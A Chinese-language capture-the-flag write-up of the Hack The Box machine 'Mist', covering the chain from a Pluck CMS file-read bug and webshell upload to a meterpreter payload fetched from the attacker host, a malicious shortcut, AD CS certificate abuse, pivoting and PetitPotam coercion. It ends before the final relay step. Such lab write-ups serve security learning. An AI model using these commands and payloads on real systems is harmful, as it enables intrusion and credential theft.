整体思路
端口扫描->Pluck CMS组件文件读取漏洞->文件上传获取shell->创建快捷方式提权->请求证书获得hash->
信息收集&端口利用
namp -sSVC 10.10.11.17
目标只开放了80端口,将mist.htb加入到hosts文件后,访问mist.htb
Pluck CMS文件读取
在主界面发现一个admin链接,访问它
在Exploit-db中搜索相关漏洞,发现存在Pluck CMS 4.7 - Directory Traversal
能够做到任意文件读取,这里也尝试读取win.ini
发现被检测出攻击行为,怀疑是…/被探测,尝试绕过也无效
回到POC,根据POC来看,它是针对于album的文件读取,那么有没有地方是上传album的地方呢?经过寻找,发现data目录下还有一个settings文件夹,其中的/modules/albums文件夹下有一个admin_backup.php文件
用刚刚的POC对该文件进行读取
得到一串密文,使用hash-identifier识别出可能的hash值后,用john对其进行解密
解得密码为lexypoo97,登录进网站
文件上传获取shell
Pluck插件还存在一个文件上传漏洞,登录后在admin.php?action=installmodule目录下上传zip文件,将php代码打包进zip文件中,上传后即可访问到该php文件,具体步骤如下
访问文件上传界面
将大马写入php文件,压缩成zip文件
上传zip
上传完成后,会在/data/modules下看到上传的文件
访问she11/she11.php
本地开启http服务,上传完nc.exe后将shell反弹到kali上
创建快捷方式提权
在C:\Common Applications文件夹下看到了许多快捷方式,因此猜测提权方式为将Windows快捷方式(.lnk)指向/xmapp/htdocs/下的payload.exe,模拟用户点击来提权
创建payload.exe,并上传
kali:msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.8 LPORT=9100 -f exe -o payload.exe
靶机:curl http://10.10.14.8:9999/payload.exe -o payload.exe
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("c:\Common Applications\Notepad.lnk")
$lnk.TargetPath = "c:\xampp\htdocs\payload.exe"
$lnk.Save()
等待一段时间后,相当于Brandon用户点击了该快捷方式,执行了payload.exe,拿到该用户权限
请求证书
将Certify上传到靶机,查看能激活的证书模板
运行后,发现任何认证过的用户都可以请求并获取一个遵循User模板的客户端认证证书,使用Certify生成pem文件
.\Certify.exe request /ca:DC01.mist.htb\mist-DC01-CA /template:User
再使用openssl将pem格式转化为pfx格式,这一步指定密码为空
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
得到证书后,再使用certipy得到Hash
获取Hash
这里先使用ligolo-ng连接到内网(当然用chisel等也可以)
#kali新增ligolo的路由
ip tuntap add user root mode tun ligolo
ip link set ligolo up
#kali启动ligolo
./proxy -selfcert
#靶机与kali建立连接
\agent.exe -connect [ip]:11601 -ignore-cert
#获取靶机session
ligolo-ng » session
#查看ip,添加路由协议
[Agent : MIST\Brandon.Keywarp@MS01] » ifconfig
#建立隧道
[Agent : MIST\Brandon.Keywarp@MS01] » start
#kali添加到192.168.100.0网段的路由
ip route add 192.168.100.0/24 dev ligolo
操作完成后,即可ping通192.168.100.100
利用刚刚生成的pfx证书,配合certipy获得hash
certipy auth -pfx cert.pfx -u Brandon.Keywarp -domain mist.htb -dc-ip 192.168.100.100 -debug
得到brandon用户的hash:aad3b435b51404eeaad3b435b51404ee:db03d6a77a2205bc1d07082740626cc9
MS01$hash
在拿到brandon用户的hash后,能够使用responder配合PetitPotam拿到MS01$的hash值
#开启监听
responder -I tun0
#反弹验证消息
python PetitPotam.py -u 'brandon.keywarp' -hashes ':DB03D6A77A2205BC1D07082740626CC9' -pipe all -d mist.htb 10.10.14.24 192.168.100.101
获得MS01$的Hash值
接下去需要通过relay获取ldap shell,并且清除shadow creds